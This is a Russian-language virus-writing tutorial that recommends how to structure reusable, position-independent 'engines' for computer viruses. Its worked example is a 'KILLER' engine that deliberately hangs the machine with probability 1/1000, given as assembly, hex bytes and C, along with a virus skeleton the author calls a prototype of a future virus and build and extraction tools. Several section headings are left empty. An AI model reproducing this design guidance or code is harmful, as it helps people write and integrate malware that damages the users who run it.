ОБЩИЕ РЕКОМЕНДАЦИИ ПО НАПИСАНИЮ ДВИЖКОВ

версия 2.00

ДВИЖОК (engine) -- некоторый модуль используемый в вирусах. (представленный в бинарной форме и/или в сорцах любого языка)

ВВЕДЕНИЕ

Этот текст был написан с единственно одной целью: обозначить признаки, которыми, на мой взгляд, должен обладать удобный движок.

Надо сказать, что подобное желание возникло уже после того, как я прочувствовал все плюсы использования готовых компонент для создания вирусов. Были созданы движки LDE32, KME32, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO и MISTFALL, обладающие почти всеми свойствами, описанными в этом тексте. Однако даже и тех небольших преимуществ от попытки эти движки стандартизировать было достаточно чтобы понять всю важность приведения движков к некоторому "стандартному" виду. Следует сразу заметить: подобная "стандартизация" влияет скорее на алгоритм и внешний вид, чем на код, и ни коим образом не может послужить упрощению работы антивирусов.

КОД

PUBLIC-функции

ИСХОДНИКИ

ДОКУМЕНТАЦИЯ

движку должна прилагаться документация, в которой будет указано:

ЖЕЛАТЕЛЬНО

ЧТО В РЕЗУЛЬТАТЕ

С использованием всех вышеперечисленных ограничений и фич, получаем код движка: независимый ни от кольца защиты, ни от операционки, ни от смещения по которому он находится. Такой код легко подвергается пермутации. Код или исходники такого движка легко могут быть подключены к другим движкам, вирусам, генераторам вирусов или вирусным конструкторам.

Более того, решается просто глобальная задача связи asm- и cpp- кода, без использования obj-ей.

ПРИМЕР ОФОРМЛЕНИЯ ДВИЖКА

Движок: KILLER. Задача: произвести зависание с вероятностью 1/1000.

Исходник:

----[begin KILLER.ASM]--------------------------------------------------
engine                  proc    c
                        arg     user_param      ; user-data
                        arg     user_random     ; external randomer
                        arg     arg1
                        arg     arg2            ; other parameters
                        arg     arg3
                        pusha
                        cld
                        ;;
                        push    1000
                        push    user_param
                        call    user_random
                        add     esp, 8
                        ;;
                        cmp     eax, 666
                        je      $
                        ;;
                        popa
                        ret
                        endp
----[end KILLER.ASM]----------------------------------------------------

Полученный в результате инклюдник на ASM:

----[begin KILLER.INC]--------------------------------------------------
; KILLER 1.00 engine
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
----[end KILLER.INC]----------------------------------------------------

Тот же самый инклюдник на C/C++:

----[begin KILLER.CPP]--------------------------------------------------
// KILLER 1.00 engine
BYTE killer_bin[30] =
{
  0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
  0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
  0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
  0x00,0x74,0xFE,0x61,0xC9,0xC3
};
----[end KILLER.CPP]----------------------------------------------------

Инклюдник/хеадер на ASM:

----[begin KILLER.ASH]--------------------------------------------------
; KILLER 1.00 engine
KILLER_VERSION          equ     0100h
----[end KILLER.ASH]----------------------------------------------------

Инклюдник/хеадер на C/C++:

----[begin KILLER.HPP]--------------------------------------------------
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__

#define KILLER_VERSION  0x0100

typedef
void __cdecl killer_engine(
                DWORD   user_param,             // user-parameter
                DWORD __cdecl user_random(DWORD user_param, DWORD range),
                DWORD   arg1,
                DWORD   arg2,
                DWORD   arg3);

#endif //__KILLER_HPP__
----[end KILLER.HPP]----------------------------------------------------

Пример вызова движка на ASM:

----[begin EXAMPLE.ASM]-------------------------------------------------
; KILLER 1.00 usage example
include                 killer.ash

callW                   macro   x
                        extern  x:PROC
                        call    x
                        endm

v_data                  struc
v_randseed              dd      ?
;                       ...
                        ends

                        p386
                        model   flat
                        locals  __

                        .data
                        dd      ?
                        .code

start:                  call    virus_code
                        push    -1
                        callW   ExitProcess

virus_code:             pusha
                        sub     esp, size v_data
                        mov     ebp, esp
                        ;;
                        callW   GetTickCount
                        xor     [ebp].v_randseed, eax  ; randomize
                        ;;
                        push    3
                        push    2               ; parameters
                        push    1
                        call    $+5+2           ; pointer to randomer
                        jmp     short my_random
                        push    ebp             ; user-param, v_data ptr
                        call    killer_engine
                        add     esp, 4*5
                        ;;
                        add     esp, size v_data
                        popa
                        retn

; DWORD __cdecl random(DWORD user_param, DWORD range)
;                       [esp+4]        [esp+8]
my_random:              mov     ecx, [esp+4]   ; v_data ptr
                        mov     eax, [ecx].v_randseed
                        imul    eax, 214013
                        add     eax, 2531011
                        mov     [ecx].v_randseed, eax
                        shr     eax, 16
                        imul    eax, [esp+8]
                        shr     eax, 16
                        retn
killer_engine:
include                 killer.inc

virus_size              equ     $-virus_code
                        end     start
----[end EXAMPLE.ASM]---------------------------------------------------

Пример использования на C/C++:

----[begin EXAMPLE.CPP]-------------------------------------------------
#include <windows.h>
#include "killer.hpp"
#include "killer.cpp"
DWORD randseed = GetTickCount();
DWORD __cdecl my_random(DWORD user_param,DWORD range)
{
  return range ? (randseed = randseed * 214013 + 2531011) % range : 0;
}
void main()
{
  void* killer_ptr = &killer_bin;
  (*(killer_engine*)killer_ptr)  (0x12345678, my_random, 1,2,3);
}
----[end EXAMPLE.CPP]---------------------------------------------------

Пример программки для компиляции исходника движка:

----[begin BUILD.ASM]---------------------------------------------------
                        p386
                        model   flat
                        locals  __
                        .data
                        db      0EBh,02h,0FFh,01h       ; signature
include                 killer.asm
                        db      0EBh,02h,0FFh,02h       ; signature
                        .code
start:                  push    -1
                        callW   ExitProcess
                        end     start
----[end BUILD.ASM]-----------------------------------------------------

Пример программки для выдирания бинарной (DB,DB,...) версии движка из скомпиленного EXE-файла:

----[begin HAXOR.CPP]---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#pragma hdrstop
void main()
{
  FILE*f=fopen("build.exe","rb");
  int bufsize = filelength(fileno(f));
  BYTE* buf = new BYTE[bufsize];
  fread(buf, 1,bufsize, f);
  fclose(f);
  int id1=0, id2=0;
  for (int i=0; i<bufsize; i++)
  {
    if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4;        // check signature
    if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i;          // check signature
  }
  f=fopen("killer.inc","wb");
  fprintf(f,"; KILLER 1.00 engine\r\n");
  for (int i=0; i<id2-id1; i++)
  {
    if ((i%8)==0) fprintf(f,"db ");
    fprintf(f,"0%02Xh", buf[id1+i]);
    if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
  }
  fclose(f);
  f=fopen("killer.cpp","wb");
  fprintf(f,"// KILLER 1.00 engine\r\n");
  fprintf(f,"BYTE killer_bin[%i] = {\r\n",id2-id1);
  for (int i=0; i<id2-id1; i++)
  {
    if ((i%8)==0) fprintf(f,"  ");
    fprintf(f,"0x%02X", buf[id1+i]);
    if (i!=id2-id1-1) fprintf(f,",");
    if ((i%8)==7) fprintf(f,"\r\n");
  }
  fprintf(f," };\r\n");
  fclose(f);
}
----[end HAXOR.CPP]-----------------------------------------------------

Обратим внимание на example.asm -- прообраз будущего вируса. В файле используется движок, движок использует внешннюю процедуру (рандомер), а рандомер использует randseed который создан в основном теле вируса и инициализирован перед вызовом движка. В результате не только этот движок, но и любой другой, да и сам вирус, смогут вызывать одну и ту же внешнюю процедуру (в данном случае рандомер, но это могли бы быть функции работы с файлами и другие движки). Очевидно, что call GetTickCount, произведенный перед вызовом движка, в настоящем вирусе будет произведен по соответствующему вычисленному кернеловскому адресу.

Заметим, что все это написано без использования оффсетов как таковых.

Итак, задача достигнута: движок компиляется отдельно, отлаживается так же отдельно, в example.cpp (имхо на cpp отлаживать алгоритмы быстрее и проще чем на asm), и используется в вирусах